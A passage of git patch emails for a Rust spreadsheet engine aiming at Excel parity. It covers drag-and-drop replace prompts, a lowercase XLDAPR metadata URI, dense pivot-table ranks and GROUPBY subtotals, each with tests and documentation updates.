assert_eq!(sh.value(CellRef::parse("A1").unwrap()), Value::text("A")); + assert_eq!(sh.value(CellRef::parse("A2").unwrap()), Value::Number(1.0)); + // OK replaces them. + h.key_press(egui::Key::Enter); + h.run_steps(2); + assert!(h.state().macros.question.is_none()); + let sh = h.state().session.active().unwrap().wb.active().unwrap(); + assert_eq!(sh.value(CellRef::parse("A1").unwrap()), Value::Number(1.0)); + assert_eq!(sh.value(CellRef::parse("B1").unwrap()), Value::Number(2.0)); + assert_eq!(sh.value(CellRef::parse("A2").unwrap()), Value::Empty); +} + #[test] fn resizing_headers_keeps_the_axis_cursor_when_leaving_the_header() { for cols in [true, false] { diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..6a365749a 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (dragging the selection's border onto data asks before replacing it; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -55,7 +55,7 @@ this logic, with one undo step. | Cursor while dragging cells, headers, freeze handles and objects | stable for the active drag (#936); Draw tools keep their crosshair; header arrows and a custom cell cursor remain unimplemented | | Selection outline glides to a new selection (Excel: "Provide feedback with animation") | done (10-11): 0.12 s, decelerating, with the fill and fill handle; View ▸ Animations (`view.animations`) turns it off. The timing is an estimate, not yet measured against Excel; the system's reduced-motion setting isn't followed yet | | Fill handle: drag to fill series, double-click to fill down, right-drag menu | fill done (Ctrl+drag swaps copy and series; month patterns use the workbook's 1900 or 1904 date system); right-drag menu partial: Copy Cells, Fill Series, Fill Formatting Only, Fill Without Formatting, and from a date Fill Days, Fill Weekdays, Fill Months and Fill Years, then Series…; a left-drag leaves an Auto Fill Options button with the same fill choices (gone once the workbook changes or the selection moves); Linear/Growth Trend and Flash Fill missing | -| Drag-move and drag-copy cells (border drag, Ctrl/Option, Shift to insert) | done (M3) | +| Drag-move and drag-copy cells (border drag, Ctrl/Option, Shift to insert) | border drag moves (M3) and asks "There's already data here. Do you want to replace it?" before replacing cells that hold data (`range.move`, #3136); Ctrl/Option to copy and Shift to insert are not wired to the border drag yet (reorder whole columns by their headers instead) | | In-cell editing, Enter/Tab movement, Alt/Option+Enter line breaks | done | | Point mode (click/drag/arrow references), reference colouring, F4 | done; Command/Ctrl-click adds separate arguments with the edit's locale separator, and Shift-click extends the current reference from a fixed anchor on the same sheet. Pointer-event regressions cover repeated/reversed selections, manual separators, sheet switches and keyboard continuation. | | Number-format colors (`[Green]`, `[Color1]`–`[Color56]`) | Rendered in grid and PDF from shared RGB mappings (#1452) | @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-02 | minor | Dragging the selection's border onto cells that hold data asks "There's already data here. Do you want to replace it?" (OK replaces, Cancel leaves the sheet and clipboard as they were) through the new `range.move` command (#3136); the row no longer claims Ctrl/Option copy and Shift insert for the border drag, which are not wired yet | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 283789c1f4be5823edc681eb177183abf1ea4e1a Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Mon, 2 Nov 2026 23:54:23 -0600 Subject: [PATCH 076/167] #2339: write the XLDAPR extension URI in lower case next to rich values MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A workbook with an in-cell picture and a dynamic-array formula wrote the XLDAPR futureMetadata extension URI in upper case ({BDBB8CDC-…}), and Excel refuses such a workbook. The metadata part written for dynamic arrays alone, which Excel opens, spells the same URI in lower case; the rich-value writer now does too. Together with #1533 (content types and the XLRICHVALUE URI) this lets Excel open a workbook with an in-cell picture and a spilled formula. Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/richdata.rs | 4 +++- crates/xlsx/src/tests/richdata_tests.rs | 24 ++++++++++++++++++++++++ 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/richdata.rs b/crates/xlsx/src/richdata.rs index 8a4f6ec0a..29c31e5dc 100644 --- a/crates/xlsx/src/richdata.rs +++ b/crates/xlsx/src/richdata.rs @@ -349,7 +349,9 @@ fn metadata(count: usize, dynamic: bool) -> String { } xml.push_str(""); if dynamic { - xml.push_str(""); + // Lower case, as the dynamic-array-only metadata in `write.rs` spells it: Excel refuses + // a workbook whose XLDAPR extension URI is in upper case (#2339). + xml.push_str(""); } let _ = write!(xml, ""); for i in 0..count { diff --git a/crates/xlsx/src/tests/richdata_tests.rs b/crates/xlsx/src/tests/richdata_tests.rs index c7bd488f7..b4beb92f1 100644 --- a/crates/xlsx/src/tests/richdata_tests.rs +++ b/crates/xlsx/src/tests/richdata_tests.rs @@ -151,6 +151,30 @@ fn reads_independent_indices_reordered_keys_and_both_relationship_layouts() { } } +#[test] +fn dynamic_array_metadata_is_spelled_the_same_with_and_without_pictures() { + // #2339: with an in-cell picture the XLDAPR extension URI was written in upper case, and + // Excel refused the workbook; the dynamic-array-only metadata, which Excel opens, is lower case. + let xldapr_uri = |pictures: bool| { + let mut wb = Workbook::new(); + let sheet = wb.sheet_mut(0).unwrap(); + if pictures { + sheet.set_picture(at("B2"), Arc::new(picture(png(), "image/png", "red"))); + } + let mut f = Cell::formula(Formula::new("SEQUENCE(3)")); + f.value = Value::Number(1.0); + sheet.cells.set(at("D1"), f); + sheet.spill_ranges.insert(at("D1"), RangeRef::parse("D1:D3").unwrap()); + let bytes = write_xlsx(&wb).unwrap(); + let mut package = Package::open(&bytes).unwrap(); + let metadata = package.read_xml("xl/metadata.xml").unwrap().unwrap(); + let future = metadata.kids("futureMetadata").find(|m| m.attr("name") == Some("XLDAPR")).unwrap(); + future.child("bk").unwrap().child("extLst").unwrap().child("ext").unwrap().attr("uri").unwrap().to_string() + }; + assert_eq!(xldapr_uri(false), "{bdbb8cdc-fa1e-496e-a857-3c3f30c029c3}"); + assert_eq!(xldapr_uri(true), xldapr_uri(false)); +} + #[test] fn pictures_roundtrip_across_sheets_with_and_without_dynamic_arrays() { for dynamic in [false, true] { From 7bea3d1d6a939432a9d684cd0baa60f30c6396b5 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:06:14 -0600 Subject: [PATCH 077/167] #1448: PivotTable ranks are dense; Count Numbers is captioned "Count of" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Show Values As › Rank Largest to Smallest counted every larger sibling, so ties skipped ranks: 5, 4, 3, 3, 4 ranked 1, 2, 4, 4, 2 where Excel gives 1, 2, 3, 3, 2. It now counts the distinct larger values. A new Count Numbers value field was captioned "Count Numbers of Units"; Excel captions it "Count of Units", as GridCraft's XLSX reader already names a value field saved without a name. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/pivot/tests.rs | 16 ++++++++++++++++ crates/engine/src/pivot/compute.rs | 22 +++++++++++++--------- crates/engine/src/pivot/items.rs | 5 +++-- 3 files changed, 32 insertions(+), 11 deletions(-) diff --git a/crates/engine/src/cmd/pivot/tests.rs b/crates/engine/src/cmd/pivot/tests.rs index 4e4f6870c..1733a2664 100644 --- a/crates/engine/src/cmd/pivot/tests.rs +++ b/crates/engine/src/cmd/pivot/tests.rs @@ -1013,3 +1013,19 @@ fn detail_cells_are_the_cells_show_details_takes() { let pt = &d.wb.active().unwrap().pivots[0]; assert!(crate::pivot::detail_cells(&d.wb, pt, d.wb.active_sheet()).unwrap_err().contains("out of date")); } + +#[test] +fn rank_ties_are_dense_and_count_numbers_is_captioned_count_of() { + // #1448 items 10 and 12: Excel ranks 5, 4, 3, 3, 4 as 1, 2, 3, 3, 2 (GridCraft gave 1, 2, 4, + // 4, 2), and captions a Count Numbers field "Count of Val". + let mut s = Session::new(); + s.new_workbook(); + let rows = json!([["Key", "Val"], ["A", 5], ["B", 4], ["C", 3], ["D", 3], ["E", 4]]); + s.execute("range.setValues", json!({"range": "A1", "values": rows})).unwrap(); + s.execute("insert.pivotTable", json!({"source": "Sheet1!$A$1:$B$6", "destination": "Sheet1!D3", "rows": ["Key"], "values": ["Val"]})).unwrap(); + s.execute("pivot.valueSettings", json!({"index": 0, "showAs": "rank"})).unwrap(); + let ranks: Vec = ["E4", "E5", "E6", "E7", "E8"].iter().map(|a| val(&s, a)).collect(); + assert_eq!(ranks, [1.0, 2.0, 3.0, 3.0, 2.0].map(Value::Number)); + s.execute("pivot.valueSettings", json!({"index": 0, "showAs": "normal", "func": "countNumbers"})).unwrap(); + assert_eq!(text(&s, "E3"), "Count of Val"); +} diff --git a/crates/engine/src/pivot/compute.rs b/crates/engine/src/pivot/compute.rs index 9ebf44737..0ffa8cae5 100644 --- a/crates/engine/src/pivot/compute.rs +++ b/crates/engine/src/pivot/compute.rs @@ -355,15 +355,19 @@ fn ranked_value(raw: Value, lookup: &ValueLookup<'_>, context: &ShowContext<'_>) let Some((_, parent)) = context.row_path.split_last() else { return Value::Empty }; let Some(me) = raw.as_f64() else { return raw }; let siblings = context.siblings.get(parent).cloned().unwrap_or_default(); - let mut rank = 1u64; - for sibling in siblings { - let mut path = parent.to_vec(); - path.push(sibling); - if number(&lookup.get(&path, context.col_path, context.value_index)).is_some_and(|value| value > me) { - rank += 1; - } - } - Value::number(rank as f64) + // Excel's ranks are dense: ties share a rank and the next value takes the next one + // (5, 4, 3, 3, 4 rank 1, 2, 3, 3, 2), so count the distinct larger values. + let mut larger: Vec = siblings + .into_iter() + .filter_map(|sibling| { + let mut path = parent.to_vec(); + path.push(sibling); + number(&lookup.get(&path, context.col_path, context.value_index)).filter(|value| *value > me) + }) + .collect(); + larger.sort_by(f64::total_cmp); + larger.dedup(); + Value::number(larger.len() as f64 + 1.0) } fn show_value(definition: &PivotValue, raw: Value, lookup: &ValueLookup<'_>, context: &ShowContext<'_>) -> Value { diff --git a/crates/engine/src/pivot/items.rs b/crates/engine/src/pivot/items.rs index 1a39c59d9..79b74da1a 100644 --- a/crates/engine/src/pivot/items.rs +++ b/crates/engine/src/pivot/items.rs @@ -197,7 +197,8 @@ impl Acc { } } -/// Excel's caption verb for a function ("Sum of Sales"). +/// Excel's caption verb for a function ("Sum of Sales"). Count Numbers is captioned "Count of +/// Sales", as Excel names it and as the XLSX reader names a value field saved without a name. pub fn func_caption(f: PivotFunc) -> &'static str { match f { PivotFunc::Sum => "Sum", @@ -206,7 +207,7 @@ pub fn func_caption(f: PivotFunc) -> &'static str { PivotFunc::Max => "Max", PivotFunc::Min => "Min", PivotFunc::Product => "Product", - PivotFunc::CountNumbers => "Count Numbers", + PivotFunc::CountNumbers => "Count", PivotFunc::StdDev => "StdDev", PivotFunc::StdDevP => "StdDevp", PivotFunc::Var => "Var", From 1fd10711a5215034e1be3737c45a157d9116d635 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:10:34 -0600 Subject: [PATCH 078/167] #1456: GROUPBY total depth 2 or more adds subtotals GROUPBY's total_depth only ever added one Total line. In Excel a depth of N adds a subtotal line for each group of the first N - 1 key columns (after the group, or before it when the depth is negative) and labels the last line "Grand Total"; a depth greater than the number of key columns, or above 1 with field_relationship 1 (a flat table), is #VALUE!. The subtotals aggregate the group's source rows, so AVERAGE and COUNT subtotals are right too. Co-Authored-By: Claude Opus 5.5 --- crates/functions/src/dynamic.rs | 122 +++++++++++++++++++++++++++++++- docs/function-parity.md | 3 +- 2 files changed, 123 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/dynamic.rs b/crates/functions/src/dynamic.rs index ee3e10a3e..7115e44c3 100644 --- a/crates/functions/src/dynamic.rs +++ b/crates/functions/src/dynamic.rs @@ -760,6 +760,13 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R { let total = opt_count(args, 4)?.unwrap_or(1); let sort = opt_count(args, 5)?.unwrap_or(1); let filter = opt_arr(args, 6)?; + let relationship = opt_count(args, 7)?.unwrap_or(0); + // A total depth of N adds subtotals for the first N - 1 key columns, so it can't exceed the + // key columns, and a flat table (field_relationship 1) has no levels to subtotal. + let depth = total.unsigned_abs() as usize; + if depth > rf.cols.max(1) || (depth > 1 && relationship == 1) { + return Err(CellError::Value); + } let p = prepare(&[&rf], &vals, fh, filter.as_ref())?; let keys: Vec> = p.rows.iter().map(|&r| key_row(&rf, r)).collect(); let mut groups: HashMap> = HashMap::new(); @@ -791,13 +798,18 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R { lines .sort_by(|a, b| cmp_keys(&[a.get(ci).cloned().unwrap_or(Value::Empty)], &[b.get(ci).cloned().unwrap_or(Value::Empty)], &[sort.signum()])); } + if depth > 1 { + let mut rows_of = |keys: &[Value]| groups.get(&row_key(keys)).cloned().unwrap_or_default(); + lines = with_subtotals(lines, 0, depth, rf.cols, total < 0, &mut rows_of, &mut agg_row); + } let mut out = Vec::new(); if p.show_headers { let mut h = p.field_headers.clone(); h.extend(p.value_headers.iter().cloned()); out.push(h); } - let mut total_line = vec![Value::from("Total")]; + // With subtotals Excel calls the last line "Grand Total". + let mut total_line = vec![Value::from(if depth > 1 { "Grand Total" } else { "Total" })]; total_line.resize(rf.cols, Value::Empty); total_line.extend(agg_row(&p.rows)); if total < 0 { @@ -812,6 +824,51 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R { from_rows(out, &Value::Empty) } +/// GROUPBY's subtotals: `lines` (`key_cols` keys, then values) with the lines of each group of the +/// key at `level` kept together in the order the groups first appear, and for every key level above +/// `depth` a line after the group (before it when `before`): the group's keys, blanks for the deeper +/// keys, and the values aggregated over the group's source rows (`rows_of` maps a line's keys to them). +fn with_subtotals( + lines: Vec>, + level: usize, + depth: usize, + key_cols: usize, + before: bool, + rows_of: &mut dyn FnMut(&[Value]) -> Vec, + agg: &mut dyn FnMut(&[usize]) -> Vec, +) -> Vec> { + if level + 1 >= depth { + return lines; + } + let mut order: Vec = Vec::new(); + let mut members: HashMap>> = HashMap::new(); + for line in lines { + let key = row_key(line.get(level..=level).unwrap_or_default()); + let group = members.entry(key.clone()).or_default(); + if group.is_empty() { + order.push(key); + } + group.push(line); + } + let mut out = Vec::new(); + for key in order { + let group = members.remove(&key).unwrap_or_default(); + let mut subtotal: Vec = group.first().map(|line| line.iter().take(level + 1).cloned().collect()).unwrap_or_default(); + subtotal.resize(key_cols, Value::Empty); + let rows: Vec = group.iter().flat_map(|line| rows_of(line.get(..key_cols).unwrap_or_default())).collect(); + subtotal.extend(agg(&rows)); + let inner = with_subtotals(group, level + 1, depth, key_cols, before, rows_of, agg); + if before { + out.push(subtotal); + out.extend(inner); + } else { + out.extend(inner); + out.push(subtotal); + } + } + out +} + /// Height and width of a PIVOTBY grid: `header_rows` (one per column field, plus the value-name row) and /// `body_rows` (row keys plus the total row), each `lead` row-field cells wide plus `value_cols` cells per column key. fn pivot_dims(header_rows: usize, body_rows: usize, col_keys: usize, value_cols: usize, lead: usize) -> (usize, usize) { @@ -1265,6 +1322,69 @@ mod tests { is_err(ev("GROUPBY", vec![rf(region), av(col(&[1.0])), t("SUM")]), CellError::Value); } + #[test] + fn groupby_total_depth_adds_subtotals() { + // #1456 item 1, values as Excel 365 shows them. + let keys2 = || av(arr(vec![vec![tv("a"), tv("x")], vec![tv("a"), tv("y")], vec![tv("b"), tv("x")]])); + let vals3 = || av(col(&[1.0, 2.0, 3.0])); + let e = Value::Empty; + let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(2.0)]); + assert_eq!( + rows_of(&r), + vec![ + vec![tv("a"), tv("x"), nv(1.0)], + vec![tv("a"), tv("y"), nv(2.0)], + vec![tv("a"), e.clone(), nv(3.0)], + vec![tv("b"), tv("x"), nv(3.0)], + vec![tv("b"), e.clone(), nv(3.0)], + vec![tv("Grand Total"), e.clone(), nv(6.0)], + ] + ); + let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(-2.0)]); + assert_eq!( + rows_of(&r), + vec![ + vec![tv("Grand Total"), e.clone(), nv(6.0)], + vec![tv("a"), e.clone(), nv(3.0)], + vec![tv("a"), tv("x"), nv(1.0)], + vec![tv("a"), tv("y"), nv(2.0)], + vec![tv("b"), e.clone(), nv(3.0)], + vec![tv("b"), tv("x"), nv(3.0)], + ] + ); + let keys3 = || { + av(arr(vec![ + vec![tv("a"), tv("x"), tv("p")], + vec![tv("a"), tv("x"), tv("q")], + vec![tv("a"), tv("y"), tv("p")], + vec![tv("b"), tv("x"), tv("p")], + ])) + }; + let vals4 = || av(col(&[1.0, 2.0, 3.0, 4.0])); + let r = ev("GROUPBY", vec![keys3(), vals4(), t("SUM"), empty(), n(3.0)]); + let line = |k: [&str; 3], v: f64| k.iter().map(|s| if s.is_empty() { Value::Empty } else { tv(s) }).chain([nv(v)]).collect::>(); + assert_eq!( + rows_of(&r), + vec![ + line(["a", "x", "p"], 1.0), + line(["a", "x", "q"], 2.0), + line(["a", "x", ""], 3.0), + line(["a", "y", "p"], 3.0), + line(["a", "y", ""], 3.0), + line(["a", "", ""], 6.0), + line(["b", "x", "p"], 4.0), + line(["b", "x", ""], 4.0), + line(["b", "", ""], 4.0), + line(["Grand Total", "", ""], 10.0), + ] + ); + // Depth 1 keeps "Total"; a depth past the key columns, or subtotals of a flat table, are errors. + let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(1.0)]); + assert_eq!(rows_of(&r).last().unwrap(), &vec![tv("Total"), e, nv(6.0)]); + is_err(ev("GROUPBY", vec![av(arr(vec![vec![tv("a")], vec![tv("b")]])), av(col(&[1.0, 2.0])), t("SUM"), empty(), n(2.0)]), CellError::Value); + is_err(ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(2.0), empty(), empty(), n(1.0)]), CellError::Value); + } + #[test] fn pivotby() { let (region, item, amt) = sales(); diff --git a/docs/function-parity.md b/docs/function-parity.md index 7e730d78c..97bd5401a 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-11-01 · **Change:** minor (Python cells are edited in the formula bar; earlier: the Python errors `#PYTHON!`, `#BUSY!`, `#TIMEOUT!` and `#BLOCKED!`, and a Python in cells row; earlier: YEARFRAC basis 0 February-end rule, MOD quotient limit, PERCENTRANK significance; earlier: edge cases matched to Excel: base conversions, BITLSHIFT/BITRSHIFT, UNICHAR noncharacters, UPPER/LOWER/PROPER casing, FIXED/DOLLAR output, F/T/GAMMA/WEIBULL/BETA distributions, BINOM trial cap, HARMEAN; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-11-03 · **Change:** minor (GROUPBY total depth 2 or more adds subtotals; earlier: Python cells are edited in the formula bar; earlier: the Python errors `#PYTHON!`, `#BUSY!`, `#TIMEOUT!` and `#BLOCKED!`, and a Python in cells row; earlier: YEARFRAC basis 0 February-end rule, MOD quotient limit, PERCENTRANK significance; earlier: edge cases matched to Excel: base conversions, BITLSHIFT/BITRSHIFT, UNICHAR noncharacters, UPPER/LOWER/PROPER casing, FIXED/DOLLAR output, F/T/GAMMA/WEIBULL/BETA distributions, BINOM trial cap, HARMEAN; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -134,6 +134,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | GROUPBY: a total depth of 2 or more adds a subtotal line for each group of the leading key columns (after the group, or before it for a negative depth) and labels the last line Grand Total; a depth past the key columns, or above 1 with `field_relationship` 1, is `#VALUE!`, as in Excel (#1456 item 1) | | 2026-11-01 | minor | Python in cells row: Python mode in the formula bar | | 2026-11-01 | minor | Python in cells (stored, not run): `#PYTHON!`, `#BUSY!`, `#TIMEOUT!` and `#BLOCKED!` done, with their `ERROR.TYPE` numbers; `PY` still counted as missing | | 2026-10-31 | minor | BIN2*, HEX2* and OCT2* reject surrounding spaces and tabs in source strings with `#NUM!`, matching Excel; plain unpadded values remain valid | From 6874e0b6892cd622a2a3c525198291435b958b4f Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:13:27 -0600 Subject: [PATCH 079/167] #3136: range.move pastes on the range's sheet and asks before replacing spilled values Addresses CodeRabbit review on #3216: - "Pass the resolved sheet to the paste step": a sheet-qualified move (`Two!B1:B2` with Sheet1 active) was checked on Two but pasted on the active sheet, replacing its data unasked. range.move now calls paste_special with the range's sheet. - "Check spilled values in the drop destination": cells showing a dynamic array's spilled values hold no cell of their own, so the drop replaced them without the prompt. They now count as data, as in Excel (ISBLANK of a spill cell is FALSE, COUNTA counts it). Tests: drag_and_drop_on_another_sheet_stays_on_that_sheet, drag_and_drop_asks_before_replacing_spilled_values. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/clipboard.rs | 10 ++++--- crates/engine/src/cmd/edit/tests.rs | 36 +++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 4 deletions(-) diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index d416d7b12..78057691f 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -165,8 +165,8 @@ pub(super) fn paste(s: &mut Session, p: &Json) -> Result { } /// Drag and drop (dragging the selection's border): moves `range` so its top-left cell lands on -/// `to`, as Cut and Paste would. Like Excel, it asks before replacing cells that hold data (other -/// than the moved cells themselves); run it again with `overwrite: true` to replace them. A +/// `to`, as Cut and Paste would. Like Excel, it asks before replacing cells that hold data or show a +/// spilled value (other than the moved cells themselves); run it again with `overwrite: true` to replace them. A /// refused or failed move leaves the clipboard as it was. pub(super) fn range_move(s: &mut Session, p: &Json) -> Result { let sheet = target_sheet(s, p)?; @@ -178,11 +178,13 @@ pub(super) fn range_move(s: &mut Session, p: &Json) -> Result { if bool_param(p, "overwrite") != Some(true) && let Some(dest) = dest && let Some(sh) = s.doc()?.wb.sheet(sheet) - && sh.cells.iter_range(dest).any(|(c, cell)| !src.contains(c) && cell.has_content()) + && (sh.cells.iter_range(dest).any(|(c, cell)| !src.contains(c) && cell.has_content()) + || sh.spill.range(dest.start..=dest.end).any(|(c, v)| dest.contains(*c) && !src.contains(*c) && *v != Value::Empty)) { return Err(EngineError::Confirm("There's already data here. Do you want to replace it?".into())); } - paste(s, &json!({"at": to.a1()})) + // On the range's sheet, which `paste` would leave to the active one. + paste_special(s, &json!({"what": "all", "at": to.a1(), "sheet": sheet})) }); if moved.is_err() { s.clipboard = kept; diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 232a9955a..e5b223a91 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -381,6 +381,42 @@ fn drag_and_drop_asks_before_replacing_data() { assert!(s.execute("range.move", json!({"range": "C2"})).is_err(), "`to` is required"); } +#[test] +fn drag_and_drop_asks_before_replacing_spilled_values() { + // Cells showing a dynamic array's spilled values hold no cell of their own, but they are data. + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "A1", "input": "=SEQUENCE(3)"})).unwrap(); + s.execute("range.setValues", json!({"range": "C2:C3", "values": [["Kiwi"], ["Plum"]]})).unwrap(); + let r = s.execute("range.move", json!({"range": "C2:C3", "to": "A2"})); + let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") }; + assert_eq!(q, "There's already data here. Do you want to replace it?"); + let sh = s.doc().unwrap().wb.active().unwrap(); + assert_eq!(sh.value(CellRef::new(2, 2)), Value::text("Plum")); + s.execute("range.move", json!({"range": "C2:C3", "to": "A2", "overwrite": true})).unwrap(); + let sh = s.doc().unwrap().wb.active().unwrap(); + assert_eq!(sh.value(CellRef::new(1, 0)), Value::text("Kiwi")); +} + +#[test] +fn drag_and_drop_on_another_sheet_stays_on_that_sheet() { + // The move was checked on the range's sheet but pasted on the active one, replacing its data + // without asking. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.insertSheet", json!({"name": "Two"})).unwrap(); + s.execute("range.setValues", json!({"range": "B1:B2", "values": [["Kiwi"], ["Plum"]]})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("cell.set", json!({"cell": "A1", "input": "Keep"})).unwrap(); + s.execute("range.move", json!({"range": "Two!B1:B2", "to": "A1"})).unwrap(); + let wb = &s.doc().unwrap().wb; + let two = wb.sheet_index("Two").unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::new(0, 0)), Value::text("Keep")); + assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(0, 0)), Value::text("Kiwi")); + assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(1, 0)), Value::text("Plum")); + assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(0, 1)), Value::Empty); +} + #[test] fn replace_case_insensitive() { assert_eq!(replace_ci("Apple apple APPLE", "apple", "pear"), "pear pear pear"); From 044599c6efa8d5cf3e093f48f9c3a025b7af13ce Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:27:25 -0600 Subject: [PATCH 080/167] #1448: a legacy "Count Numbers of" caption follows a new function Addresses CodeRabbit review on #3219, "Recognize the legacy Count Numbers caption when the function changes": workbooks saved before Count Numbers was captioned "Count of" carry "Count Numbers of Val" (optionally with a number suffix). pivot.valueSettings now treats that as an automatic caption of a Count Numbers field, so changing the function renames it; a custom name stays. Test: legacy_count_numbers_caption_follows_the_function. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/pivot/fields.rs | 10 +++++++--- crates/engine/src/cmd/pivot/tests.rs | 17 +++++++++++++++++ 2 files changed, 24 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/pivot/fields.rs b/crates/engine/src/cmd/pivot/fields.rs index 48c25657c..55036f541 100644 --- a/crates/engine/src/cmd/pivot/fields.rs +++ b/crates/engine/src/cmd/pivot/fields.rs @@ -507,9 +507,13 @@ pub(super) fn value_settings(s: &mut Session, p: &Json) -> Result { let mut v = cur.clone(); if let Some(f) = func { v.func = f; - // An automatic caption follows the function. - let auto = auto_name(cur.func, &cur.source_col); - if cur.name.eq_ignore_ascii_case(&auto) || cur.name.strip_prefix(auto.as_str()).is_some_and(|r| r.chars().all(|c| c.is_ascii_digit())) { + // An automatic caption follows the function. Count Numbers was captioned "Count + // Numbers of …" 